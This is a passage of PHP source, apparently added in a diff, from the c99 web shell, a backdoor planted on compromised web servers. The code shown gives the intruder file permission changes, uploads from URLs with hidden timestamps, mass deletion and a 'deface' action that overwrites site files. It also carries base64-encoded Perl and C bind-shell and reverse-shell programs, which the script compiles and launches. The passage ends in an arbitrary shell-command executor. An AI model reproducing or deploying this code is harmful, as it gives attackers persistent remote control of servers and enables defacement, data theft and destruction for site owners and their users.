{$world[0] = 0;} + if (!isset($world[1])) {$world[1] = 0;} + if (!isset($world[2])) {$world[2] = 0;} + $sum_owner = $owner[0] + $owner[1] + $owner[2]; + $sum_group = $group[0] + $group[1] + $group[2]; + $sum_world = $world[0] + $world[1] + $world[2]; + $sum_chmod = "0".$sum_owner.$sum_group.$sum_world; + $ret = @chmod($d.$f, $sum_chmod); + if ($ret) {$act = "ls";} + else {echo "<b>Changing file-mode (".$d.$f.")</b>: error<br>";} + } + else + { + echo "<b>Changing file-mode</b><br>"; + $perms = view_perms(fileperms($d.$f)); + $length = strlen($perms); + $owner_r = $owner_w = $owner_x = + $group_r = $group_w = $group_x = + $world_r = $world_w = $group_x = ""; + + if ($perms[1] == "r") {$owner_r = " checked";} if ($perms[2] == "w") {$owner_w = " checked";} + if ($perms[3] == "x") {$owner_x = " checked";} if ($perms[4] == "r") {$group_r = " checked";} + if ($perms[5] == "w") {$group_w = " checked";} if ($perms[6] == "x") {$group_x = " checked";} + if ($perms[7] == "r") {$world_r = " checked";} if ($perms[8] == "w") {$world_w = " checked";} + if ($perms[9] == "x") {$world_x = " checked";} + echo "<form method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value='".htmlspecialchars($f)."'> +<input type=hidden name=act value=chmod><input type=hidden name=submit value=1><input type=hidden name='owner[3]' value=no_error> +<input type=hidden name='group[3]' value=no_error><input type=hidden name='world[3]' value=no_error> +<table><tr><td><table align=center width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br> +<input type=checkbox NAME=owner[0] value=4".$owner_r.">Read<br><input type=checkbox NAME=owner[1] value=2".$owner_w.">Write<br> +<input type=checkbox NAME=owner[2] value=1".$owner_x.">Execute</font></td><td><b>Group</b><br><br> +<input type=checkbox NAME=group[0] value=4".$group_r.">Read<br> +<input type=checkbox NAME=group[1] value=2".$group_w.">Write<br> +<input type=checkbox NAME=group[2] value=1".$group_x.">Execute</font></td> +<td><b>World</b><br><br><input type=checkbox NAME=world[0] value=4".$world_r.">Read<br> +<input type=checkbox NAME=world[1] value=2".$world_w.">Write<br> +<input type=checkbox NAME=world[2] value=1".$world_x.">Execute</font></td> +</tr></table></td></tr><tr align=center><td><input type=submit name=chmod value=\"Save\"></td></tr></table></FORM>"; + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\","/",$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,strlen($uploadpath)-1,1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile[tmp_name])) + { + if (empty($uploadfilename)) {$destin = $uploadfile[name];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile[name]." (can't copy \"".$uploadfile[tmp_name]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=\"POST\"> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=\"submit\" name=\"submit\" value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + } + $act = "ls"; +} +if ($act == "deface") +{ + $deferr = ""; + foreach ($actbox as $v) + { + $data = $deface_html; + if (eregi("%%%filedata%%%",$data)) {$data = str_replace("%%%filedata%%%",file_get_contents($v),$data);} + $data = str_replace("%%%filename%%%",basename($v),$data); + $data = str_replace("%%%filepath%%%",$v,$data); + $fp = @fopen($v,"w"); + fwrite($fp,$data); + fclose($fp); + if (!$result) {$deferr .= "Can't deface ".htmlspecialchars($v)."<br>";} + if (!empty($delerr)) {echo "<b>Defacing with errors:</b><br>".$deferr;} + } +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"USEFSBUFF\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls";} + if ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + if ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} $ls_arr = array_merge($sess_data["copy"],$sess_data["cut"]); c99_sess_put($sess_data); $act = "ls";} + + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + + if ($ext == ".tar.gz") + { + $cmdline = "tar cfzv"; + } + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\","/",$v); + if (is_dir($v)) + { + if (substr($v,strlen($v)-1,strlen($v)) != "/") {$v .= "/";} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $ret = `$cmdline`; + if (empty($ret)) {$arcerr .= "Can't call archivator!<br>";} + $ret = str_replace("\r\n","\n"); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while ($o = readdir($h)) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) {echo "<center><b>Can't open directory (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $tab = array(); + $amount = count($ld)+count($lf); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + + $k = $sort[0]; + if ((!is_numeric($k)) or ($k > count($row)-2)) {$k = 0;} + if (empty($sort[1])) {$sort[1] = "d";} + if ($sort[1] != "a") + { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; + } + else + { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; + } + + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";} + } + + $tab = array(); + $tab[cols] = array($row); + $tab[head] = array(); + $tab[dirs] = array(); + $tab[links] = array(); + $tab[files] = array(); + + foreach ($list as $v) + { + $o = basename($v); + $dir = dirname($v); + + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + + $row = array(); + + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) {$disppath .= " => ".readlink($v); $type = "LINK";} + else {$type = "DIR";} + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size(filesize($v)); + } + $row[] = date("d.m.Y H:i:s",filemtime($v)); + + if (!$win) + { + $ow = @posix_getpwuid(fileowner($v)); + $gr = @posix_getgrgid(filegroup($v)); + $row[] = $ow["name"]."/".$gr["name"]; + } + + if (is_writable($v)) {$row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><font color=\"green\">".view_perms(fileperms($v))."</font></a>";} + else {$row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><font color=\"red\">".view_perms(fileperms($v))."</font></a>";} + + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" title=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";} + + if (($o == ".") or ($o == "..")) {$tab[head][] = $row;} + elseif (is_link($v)) {$tab[links][] = $row;} + elseif (is_dir($v)) {$tab[dirs][] = $row;} + elseif (is_file($v)) {$tab[files][] = $row;} + } + } + $v = $sort[0]; + function tabsort($a, $b) + { + global $v; + return strnatcasecmp(strip_tags($a[$v]), strip_tags($b[$v])); + } + usort($tab[dirs], "tabsort"); + usort($tab[files], "tabsort"); + if ($sort[1] == "a") + { + $tab[dirs] = array_reverse($tab[dirs]); + $tab[files] = array_reverse($tab[files]); + } + //Compiling table + $table = array_merge($tab[cols],$tab[head],$tab[dirs],$tab[links],$tab[files]); + echo "<center><b>Listing directory (".count($tab[files])." files and ".(count($tab[dirs])+count($tab[links]))." directories):</b></center><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0><form method=\"POST\">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"><b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=\"act\"><option value=\"".$act."\">With selected:</option>"; + echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Delete</option>"; + if ($usefsbuff) + { + echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Cut</option>"; + echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Copy</option>"; + echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Unselect</option>"; + } + if ($dspact == "massdeface") {echo "<option value=\"deface\"".gchds($dspact,"deface"," selected").">Unselect</option>";} + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "bind") +{ + $bndsrcs = array( +"c99sh_bindport.pl"=> +"IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW". +"WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI". +"TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS". +"RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp". +"bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph". +"Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl". +"biBTVERFUlIsICI+JlgiOw0KZXhlYygiZWNobyBcIldlbGNvbWUgdG8gYzk5c2hlbGwhXHJcblxy". +"XG5cIiIpOw0Kd2hpbGUoMSkNCnsNCiBhY2NlcHQoWCwgUyk7DQogdW5sZXNzKGZvcmspDQogew0K". +"ICBvcGVuIFNURElOLCAiPCZYIjsNCiAgb3BlbiBTVERPVVQsICI+JlgiOw0KICBjbG9zZSBYOw0K". +"ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9", + +"c99sh_bindport.c"=> +"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5". +"cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N". +"CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy". +"ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1". +"Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f". +"ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p". +"KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm". +"ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi". +"c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl". +"LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h". +"Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN". +"CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy". +"ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp". +"DQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byBjOTlzaGVsbCAmJiAvYmluL2Jhc2ggLWkiKTsN". +"CiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAgY2xvc2UobmV3ZmQpOw0K". +"ICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQg". +"aTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0g". +"J1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVy". +"ZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0K". +"fQ==", + +"c99sh_backconn.pl"=> +"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ". +"HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ". +"DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ". +"HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L". +"CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd". +"GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka". +"WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO". +"iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR". +"VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK". +"FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==", + +"c99sh_backconn.c"=> +"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l". +"dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk". +"Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk". +"YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g". +"aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh". +"cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy". +"XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg". +"DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1". +"Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0". +"KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo". +"ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi". +"c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==" +); + + $bndportsrcs = array( +"c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), +"c99sh_bindport.c"=>array("Using C","%path %port %pass") +); + + $bcsrcs = array( +"c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), +"c99sh_backconn.c"=>array("Using C","%path %host %port") +); + + if ($win) {echo "<b>Binding port and Back connect:</b><br>This functions not work in Windows!<br><br>";} + else + { + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_numeric($bind[port])) {$bind[port] = $bindport_port;} + if (empty($bind[pass])) {$bind[pass] = $bindport_pass;} + if (empty($bc[host])) {$bc[host] = $REMOTE_ADDR;} + if (!is_numeric($bc[port])) {$bc[port] = $bindport_port;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind[src]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen($SERVER_ADDR,$bind[port],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$bind[src]; + $w = explode(".",$bind[src]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $binpath = $tmpdir.join(".",$w); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + else + { + $data = base64_decode($bndsrcs[$bind[src]]); + fwrite($fp,$data,strlen($data)); + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind[port],$v[1]); + $v[1] = str_replace("%pass",$bind[pass],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); //Timeout + $sock = fsockopen("localhost",$bind[port],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind[port]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".$SERVER_ADDR.":".$bind[port]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".$SERVER_ADDR." ".$bind[port]."</b>\"!<center><a href=\"".$surl."act=ps_aux&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc[src]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $srcpath = $tmpdir.$bc[src]; + $w = explode(".",$bc[src]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $binpath = $tmpdir.join(".",$w); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + else + { + $data = base64_decode($bndsrcs[$bind[src]]); + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc[host],$v[1]); + $v[1] = str_replace("%port",$bc[port],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".$bc[host].":".$bc[port]."...<br>"; + } + } + } + ?><b>Binding port:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<? echo $d; ?>">Port: <input type="text" name="bind[port]" value="<?php echo htmlspecialchars($bind[port]); ?>">&nbsp;Password: <input type="text" name="bind[pass]" value="<?php echo htmlspecialchars($bind[pass]); ?>">&nbsp;<select name="bind[src]"><?php +foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind[src]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type="submit" name="bindsubmit" value="Bind"></form> +<b>Back connection:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<? echo $d; ?>">HOST: <input type="text" name="bc[host]" value="<?php echo htmlspecialchars($bc[host]); ?>">&nbsp;Port: <input type="text" name="bc[port]" value="<?php echo htmlspecialchars($bc[port]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc[src]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type="submit" name="bcsubmit" value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p &lt;port&gt;</b>"!<?php + } +} +if ($act == "cmd") +{ + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + myshellexec($cmd); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($cmd_txt) + { + $rows = count(explode(" +",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret;} + } + else + { + if ($cmd_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + myshellexec($cmd); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} 